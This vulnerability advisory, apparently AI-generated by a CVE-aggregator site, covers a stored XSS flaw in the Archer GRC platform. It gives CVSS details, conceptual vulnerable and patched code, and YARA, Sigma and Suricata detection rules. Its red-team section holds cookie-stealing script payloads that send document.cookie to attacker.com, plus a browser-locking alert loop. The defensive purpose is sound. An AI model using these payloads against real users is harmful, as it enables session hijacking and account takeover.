CVE-2024-34091
Executive Summary
CVE-2024-34091 is a stored cross-site scripting (XSS) vulnerability in the Archer Platform, a widely used enterprise governance, risk, and compliance (GRC) solution. A remote authenticated attacker with low privileges can inject malicious HTML or JavaScript into a trusted application data store. When other users (including administrators) access the affected data store, the malicious code executes in their browser, potentially leading to session hijacking, data theft, or denial of service by rendering content inaccessible. The vulnerability affects versions prior to 2024.04 and 6.14 P3 (6.14.0.3). The CVSS score is 7.3 (High), and while the EPSS probability is currently 0.0%, the risk is elevated due to the authenticated nature and the potential for lateral movement within a GRC environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a proprietary enterprise application. No open-source patch data is available from OSV or GitHub.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:H
- Base Score: 7.3 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a valid Archer account.
- User Interaction (UI): Required (R) – Victim must access the malicious data store.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): High (H) – Content can be rendered inaccessible.
Threat Level: High. While the EPSS score is 0.0%, the vulnerability is authenticated and stored, making it a persistent threat for organizations using Archer. The availability impact (High) is particularly concerning for GRC operations.
Deep Dive & Mechanics
The vulnerability resides in the Archer Platform's data store functionality, which allows authenticated users to create and share records, reports, or dashboards. The application fails to properly sanitize user-supplied input before storing it in the database. When a victim user retrieves this data via their browser, the malicious HTML/JavaScript is rendered and executed in the context of the Archer application.
Attack Flow:
- Authentication: The attacker logs into Archer with a valid account (low privileges).
- Injection: The attacker creates or modifies a data store entry (e.g., a record, field, or report) containing malicious JavaScript, such as
<script>alert('XSS')</script>or a payload that steals session cookies. - Storage: The malicious payload is stored in the Archer database without sanitization.
- Trigger: A victim user (e.g., an administrator or another analyst) navigates to the affected data store.
- Execution: The victim's browser executes the malicious script, which can:
- Steal session cookies (leading to account takeover).
- Perform actions on behalf of the victim (e.g., modify data, escalate privileges).
- Render the page inaccessible (denial of service).
Root Cause: Lack of output encoding or input validation on data store fields. The application likely uses a rich text editor or HTML-enabled fields without proper sanitization.
Vulnerable vs. Patched Code
Since no open-source patch is available, the following is a conceptual comparison based on the vulnerability type (stored XSS).
Vulnerable Code (Conceptual - Archer Platform < 2024.04):
// Server-side: Storing user input without sanitization
function saveDataStoreEntry(userInput) {
db.query("INSERT INTO datastore (content) VALUES (?)", [userInput]);
}
// Client-side: Rendering stored data without encoding
function renderDataStoreEntry(entryId) {
var content = db.query("SELECT content FROM datastore WHERE id = ?", [entryId]);
document.getElementById("dataStoreContainer").innerHTML = content;
}
Patched Code (Conceptual - Archer Platform 2024.04 / 6.14.0.3):
// Server-side: Sanitizing user input before storage
function saveDataStoreEntry(userInput) {
var sanitizedInput = sanitizeHtml(userInput, {
allowedTags: ['b', 'i', 'em', 'strong', 'a'],
allowedAttributes: { 'a': ['href'] }
});
db.query("INSERT INTO datastore (content) VALUES (?)", [sanitizedInput]);
}
// Client-side: Using textContent instead of innerHTML
function renderDataStoreEntry(entryId) {
var content = db.query("SELECT content FROM datastore WHERE id = ?", [entryId]);
document.getElementById("dataStoreContainer").textContent = content;
}
Key Fixes:
- Server-side HTML sanitization (e.g., using DOMPurify or OWASP Java HTML Sanitizer).
- Client-side use of
textContentinstead ofinnerHTMLto prevent script execution. - Content Security Policy (CSP) headers to restrict script sources.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid Archer account (low privileges).
- Network access to the Archer web interface.
- Target user (victim) must access the malicious data store.
Exploitation Steps:
- Log in to Archer.
- Navigate to a data store (e.g., "Records" or "Reports").
- Create a new record or edit an existing one.
- In a text field, inject a payload such as:
Or for denial of service:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><script>while(true){alert('Access Denied');}</script> - Save the record.
- Share the link to the record with the victim (e.g., via email or internal chat).
- When the victim accesses the record, the script executes.
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + encodeURIComponent(document.cookie);
</script>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual data store entries containing
<script>,<iframe>, oronerrorattributes. - Use web application firewalls (WAF) to block common XSS patterns.
- Deploy endpoint detection and response (EDR) to monitor for script execution in browser processes.
Defense:
- Apply the patch (upgrade to Archer 2024.04 or 6.14.0.3).
- Implement Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Enforce input validation and output encoding on all user-supplied data.
- Use HTTP-only cookies to prevent JavaScript access to session tokens.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from Archer servers.
- Unusual
Refererheaders pointing to Archer data store URLs.
- File/Log IOCs:
- Archer application logs showing repeated creation of records with HTML tags.
- Web server logs with
POSTrequests to data store endpoints containing<script>tags.
- Endpoint IOCs:
- Browser console errors or alerts triggered by malicious scripts.
- Unexpected JavaScript execution in the Archer application context.
Detection Engineering
YARA Rule
rule Archer_Stored_XSS_CVE_2024_34091 {
meta:
description = "Detects stored XSS payloads in Archer Platform data stores"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-34091"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: Archer Stored XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to store XSS payloads in Archer Platform
author: Valters IT
logsource:
category: web
product: archer
detection:
selection:
http.method: 'POST'
http.url|contains: '/datastore/'
http.body|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of HTML in rich text fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-34091 Archer Stored XSS Payload";
flow:to_server,established;
content:"POST"; http_method;
content:"/datastore/"; http_uri;
content:"<script"; http_client_body;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to Archer Platform 2024.04 or 6.14 P3 (6.14.0.3) immediately.
- Workaround: If patching is not possible, disable HTML rendering in data store fields or restrict the ability to create/modify records to trusted users only.
- WAF Rules: Deploy WAF rules to block requests containing
<script>oronerrorin data store endpoints.
Long-Term Mitigations:
- Implement a Content Security Policy (CSP) with
script-src 'self'andobject-src 'none'. - Conduct regular security training for Archer users to recognize phishing attempts.
- Enable audit logging for all data store modifications.
- Perform periodic code reviews and penetration testing on the Archer instance.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.